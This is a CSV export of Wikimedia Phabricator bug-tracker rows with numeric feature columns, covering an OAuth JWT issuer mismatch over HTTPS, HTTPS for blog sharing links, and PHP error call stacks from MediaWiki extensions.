312603,OAuth does not set correct JWT issuer when accessing over HTTPS,"Hm, it seems it does not redirect to HTTPS on all my browsers. Maybe this is HTTPS Anywhere. :-)",,,1407517342,,PHID-USER-m2xiute3l4kwb26dyrp7,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,False,,,-47,True,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.8636363636363636,"Hm, it seems it does not redirect to HTTPS on all my browsers. Maybe this is HTTPS Anywhere. :-)"
312595,OAuth does not set correct JWT issuer when accessing over HTTPS,"Then maybe MediaWiki (https://www.mediawiki.org/wiki/MediaWiki) has a wrong $wgCanonicalServer setting. Because if you open http://www.mediawiki.org it redirects to HTTPS. So it seems https://www.mediawiki.org is the canonical URL for the site.

Server name could not be influenced by an attacker (if yes, you have an error in your server configuration)? But http host yes. But server name does not contain the protocol anyway, no?

You could use $_SERVER[""HTTPS""]: https://stackoverflow.com/questions/1175096/how-to-find-out-if-you-are-using-https-without-serverhttps

But then you will have to make sure that your forward proxy daemon properly sets this (if you run MediaWiki behind it, what you do at mediawiki.org it seems).",,,1407517241,,PHID-USER-m2xiute3l4kwb26dyrp7,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.5,1.5,2.5,0.5,0.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,1.0,0.0,7.0,0.0,2.5,0.0,5.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,10.5,1.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,1.0,10.5,3.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,2.0,1.0,0.0,8.5,7.5,3.0,1.5,1.0,0.0,8.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.5,3.8,0.85,"Then maybe MediaWiki (URL has a wrong $wgCanonicalServer setting. Because if you open URL it redirects to HTTPS. So it seems URL is the canonical URL for the site.

Server name could not be influenced by an attacker (if yes, you have an error in your server configuration)? But http host yes. But server name does not contain the protocol anyway, no?

You could use $_SERVER[""HTTPS""]: URL

But then you will have to make sure that your forward proxy daemon properly sets this (if you run MediaWiki behind it, what you do at mediawiki.org it seems)."
312587,OAuth does not set correct JWT issuer when accessing over HTTPS,"I set iss to $wgCanonicalServer, since that is the most stable and, canonical, representation of the server name.

To get around the verification failure, you can either keep track of what the canonical server name is supposed to be (that's what I do in the php library I maintain- https://github.com/Stype/mwoauth-php). Or in Phabricator, we pull off the protocol and just compare the host portion of the url.

We can't use $_SERVER['SERVER_NAME'] / $_SERVER['HTTP_HOST'], because those can be influenced by an attacker. If we use $wgServer, you have the same problem that you can't match the protocol.

Probably the only realistic enhancement would be to use wgCanonicalServer, but update the protocol. That seems more confusing to me, but this issue has been reported (personally) to me enough times, that I'm open to changing it. Just not sure what the best answer is.",,,1407516765,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-65frrvpzvit7upklaj5l,task_subcomment,,True,c3,1,True,,,-47,True,0.0,0.0,0.0,1.5,1.5,6.0,1.0,0.5,0.0,0.5,1.0,2.5,0.0,0.5,0.0,4.5,0.0,5.0,10.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,7.0,0.5,0.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.5,13.0,2.0,0.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,7.5,3.5,8.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,7.0,10.0,0.5,0.0,1.0,0.0,7.0,0.0,2.0,0.5,1.0,0.5,0.5,1.0,0.0,3.9325842696629216,0.7191011235955056,"I set iss to $wgCanonicalServer, since that is the most stable and, canonical, representation of the server name.

To get around the verification failure, you can either keep track of what the canonical server name is supposed to be (that's what I do in the php library I maintain- URL Or in Phabricator, we pull off the protocol and just compare the host portion of the url.

We can't use $_SERVER['SERVER_NAME'] / $_SERVER['HTTP_HOST'], because those can be influenced by an attacker. If we use $wgServer, you have the same problem that you can't match the protocol.

Probably the only realistic enhancement would be to use wgCanonicalServer, but update the protocol. That seems more confusing to me, but this issue has been reported (personally) to me enough times, that I'm open to changing it. Just not sure what the best answer is."
70983,social sharing links above comments/categories/tags and below post body should all use HTTPS,"social sharing links above comments/categories/tags and below post body on the page for an individual post should all use HTTPS (or at least protorel)

now only google+ is HTTPS

https://blog.wikimedia.org/2014/07/31/introducing-the-new-blog/ says:
> <div class=""socials"">
>       <span class=""label"">Share</span>
>       <a href=""http://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fblog.wikimedia.org%2F2014%2F07%2F31%2Fintroducing-the-new-blog%2F"" class=""fb"" target=""_blank"">facebook</a>
>       <a href=""https://plus.google.com/share?url=https%3A%2F%2Fblog.wikimedia.org%2F2014%2F07%2F31%2Fintroducing-the-new-blog%2F"" class=""gp"" target=""_blank"">google plus</a>
>       <a href=""http://twitter.com/intent/tweet?text=Introducing+the+new+blog%3A+a+place+for+movement%26nbsp%3Bnews+-+https%3A%2F%2Fblog.wikimedia.org%2F2014%2F07%2F31%2Fintroducing-the-new-blog%2F"" class=""tw"" target=""_blank"">twitter</a>
> </div>

Also, the more generic links (upper right corner of the page; that don't vary from post to post and they appear on the root path too) all should be made HTTPS as well. (none are now, not even google+)

Twitter on individual blog comments should be removed or made HTTPS.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1406862060,1419200379.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-wlku5ja6envbi4cz2etp,False,PHID-TASK-vgdysfpt4t74oa3ip5zn,task_description,resolved,True,c3,1,False,False,True,-48,True,1.0,0.0,0.0,1.5,1.5,4.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,7.0,6.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,3.5,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.5,8.5,0.0,2.5,4.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,6.0,5.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,3.6940298507462686,0.7164179104477613,"social sharing links above comments/categories/tags and below post body on the page for an individual post should all use HTTPS (or at least protorel)

now only google+ is HTTPS

URL says:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Also, the more generic links (upper right corner of the page; that don't vary from post to post and they appear on the root path too) all should be made HTTPS as well. (none are now, not even google+)

Twitter on individual blog comments should be removed or made HTTPS.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
391933,social sharing links above comments/categories/tags and below post body should all use HTTPS,"I just changed the post-specific links, too (for Facebook and Twitter).",,,1419200379,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-vgdysfpt4t74oa3ip5zn,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,1.0,"I just changed the post-specific links, too (for Facebook and Twitter)."
309229,social sharing links above comments/categories/tags and below post body should all use HTTPS,Updated the generic links. Will look into the rest later.,,,1406883469,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-vgdysfpt4t74oa3ip5zn,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8333333333333334,Updated the generic links. Will look into the rest later.
70739,Notice: Undefined index: HTTP_USER_AGENT in SecureSessions.hooks.php on line 205,"Notice: Undefined index: HTTP_USER_AGENT in /srv/vagrant/mediawiki/extensions/SecureSessions/SecureSessions.hooks.php on line 205

Call Stack:
    0.0007     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
   21.8136   50828840   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
   21.8136   50841328   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
  105.9377  272526968   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
  105.9637  272844320   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
  106.4795  272846576   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 2089.9649  470147104   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 2097.2738  471151880   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
 2097.2738  471151880   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
 2097.2825  471151544  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
 2097.2826  471151544  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
 2097.2828  471152496  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
 2097.2828  471169216  13. ApiParseTest->setUp() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:835
 2100.8517  471540208  14. ApiTestCase->doLogin() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiParseTest.php:14
 2100.8704  471658024  15. ApiTestCase->doApiRequest() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:168
 2100.8712  471761776  16. ApiMain->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:99
 2100.8712  471761840  17. ApiMain->executeAction() /srv/vagrant/mediawiki/includes/api/ApiMain.php:332
 2100.8821  471767936  18. ApiLogin->execute() /srv/vagrant/mediawiki/includes/api/ApiMain.php:907
 2100.8891  471776752  19. User->setCookies() /srv/vagrant/mediawiki/includes/api/ApiLogin.php:87
 2100.8891  471778352  20. wfRunHooks() /srv/vagrant/mediawiki/includes/User.php:3349
 2100.8891  471778400  21. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
 2100.8891  471780392  22. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
 2100.8891  471780912  23. SecureSessions->onUserSetCookies() /srv/vagrant/mediawiki/includes/Hooks.php:207

--------------------------
**Version**: master
**Severity**: normal",Low,25.0,1406560860,1676690655.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-ruuauq5ftcywm5f5voe7,task_description,declined,True,c3,1,True,False,False,-49,True,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.1666666666666667,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.833333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.5,23.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.908548986604952,0.36685602075881896,"Notice: Undefined index: HTTP_USER_AGENT in /srv/vagrant/mediawiki/extensions/SecureSessions/SecureSessions.hooks.php on line 205

Call Stack:
    0.0007     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
   21.8136   50828840   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
   21.8136   50841328   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
  105.9377  272526968   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
  105.9637  272844320   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
  106.4795  272846576   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 2089.9649  470147104   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 2097.2738  471151880   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
 2097.2738  471151880   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
 2097.2825  471151544  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
 2097.2826  471151544  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
 2097.2828  471152496  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
 2097.2828  471169216  13. ApiParseTest->setUp() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:835
 2100.8517  471540208  14. ApiTestCase->doLogin() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiParseTest.php:14
 2100.8704  471658024  15. ApiTestCase->doApiRequest() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:168
 2100.8712  471761776  16. ApiMain->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiTestCase.php:99
 2100.8712  471761840  17. ApiMain->executeAction() /srv/vagrant/mediawiki/includes/api/ApiMain.php:332
 2100.8821  471767936  18. ApiLogin->execute() /srv/vagrant/mediawiki/includes/api/ApiMain.php:907
 2100.8891  471776752  19. User->setCookies() /srv/vagrant/mediawiki/includes/api/ApiLogin.php:87
 2100.8891  471778352  20. wfRunHooks() /srv/vagrant/mediawiki/includes/User.php:3349
 2100.8891  471778400  21. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
 2100.8891  471780392  22. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
 2100.8891  471780912  23. SecureSessions->onUserSetCookies() /srv/vagrant/mediawiki/includes/Hooks.php:207

--------------------------
**Version**: master
**Severity**: normal"
2071831,Notice: Undefined index: HTTP_USER_AGENT in SecureSessions.hooks.php on line 205,Per T327583,,,1676690655,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ruuauq5ftcywm5f5voe7,task_subcomment,,True,c3,3,True,,,398,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Per T327583
70718,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"Master and defaults.

Fatal error: Call to undefined method GoogleLoginAuth::connect() in /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaLdapConnection.php on line 21

Call Stack:
    0.0006     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
   19.6050   51193712   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
   19.6050   51206200   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
  127.4282  273527048   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
  127.4901  273844016   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
  128.2664  273846256   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 1755.9192  482218944   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 1756.7843  484017912   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
 1756.7843  484017912   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
 1756.7912  484018080  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
 1756.7913  484018080  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
 1756.7915  484019024  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
 1756.9257  484499320  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
 1756.9258  484500112  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
 1756.9258  484500448  15. ApiOptionsTest->testReset() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
 1756.9259  484505640  16. ApiOptionsTest->executeQuery() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:233
 1756.9260  484505904  17. ApiOptions->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:151
 1756.9545  484513320  18. Preferences::getPreferences() /srv/vagrant/mediawiki/includes/api/ApiOptions.php:75
 1760.1648  485029280  19. wfRunHooks() /srv/vagrant/mediawiki/includes/Preferences.php:99
 1760.1648  485029344  20. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
 1765.5002  486711944  21. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
 1765.5002  486712528  22. OpenStackNovaUser::novaUserPreferences() /srv/vagrant/mediawiki/includes/Hooks.php:207
 1765.5102  486714152  23. OpenStackNovaUser->__construct() /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaUser.php:698
 1765.5188  486718968  24. OpenStackNovaLdapConnection::connect() /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaUser.php:21

--------------------------
**Version**: master
**Severity**: normal",Low,25.0,1406538360,1461500029.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-glki7nmhveobibcwb6j4,task_description,declined,True,c3,1,True,False,False,-49,True,0.0,0.0,0.0,0.0,0.0,0.7142857142857143,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.42857142857142855,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.7142857142857143,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.7142857142857143,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.142857142857142,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.2857142857142857,0.0,13.571428571428571,0.0,0.0,0.42857142857142855,23.714285714285715,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2857142857142857,5.112698412698413,0.3841269841269841,"Master and defaults.

Fatal error: Call to undefined method GoogleLoginAuth::connect() in /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaLdapConnection.php on line 21

Call Stack:
    0.0006     253272   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
   19.6050   51193712   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
   19.6050   51206200   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
  127.4282  273527048   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
  127.4901  273844016   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
  128.2664  273846256   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 1755.9192  482218944   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
 1756.7843  484017912   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
 1756.7843  484017912   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
 1756.7912  484018080  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
 1756.7913  484018080  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
 1756.7915  484019024  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
 1756.9257  484499320  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
 1756.9258  484500112  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
 1756.9258  484500448  15. ApiOptionsTest->testReset() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
 1756.9259  484505640  16. ApiOptionsTest->executeQuery() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:233
 1756.9260  484505904  17. ApiOptions->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:151
 1756.9545  484513320  18. Preferences::getPreferences() /srv/vagrant/mediawiki/includes/api/ApiOptions.php:75
 1760.1648  485029280  19. wfRunHooks() /srv/vagrant/mediawiki/includes/Preferences.php:99
 1760.1648  485029344  20. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
 1765.5002  486711944  21. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:207
 1765.5002  486712528  22. OpenStackNovaUser::novaUserPreferences() /srv/vagrant/mediawiki/includes/Hooks.php:207
 1765.5102  486714152  23. OpenStackNovaUser->__construct() /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaUser.php:698
 1765.5188  486718968  24. OpenStackNovaLdapConnection::connect() /srv/vagrant/mediawiki/extensions/OpenStackManager/nova/OpenStackNovaUser.php:21

--------------------------
**Version**: master
**Severity**: normal"
650787,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"The OSM extension depends upon the LdapAuth extension being used as the AuthPlugin implementation, trying to use it with something else like GoogleLogin is going to fail.",,,1461546343,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-glki7nmhveobibcwb6j4,task_subcomment,,True,c3,3,True,,,42,True,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,17.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,21.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.9655172413793105,0.896551724137931,"The OSM extension depends upon the LdapAuth extension being used as the AuthPlugin implementation, trying to use it with something else like GoogleLogin is going to fail."
650786,Fatal error: Call to undefined method GoogleLoginAuth::connect() in nova/OpenStackNovaLdapConnection.php on line 21,"It's a practically abandoned extension, with a *ton* more tech debt than is mentioned here (there's a lot of error suppression in there). I don't really think we'll put any effort into anything that isn't just a way to help us migrate 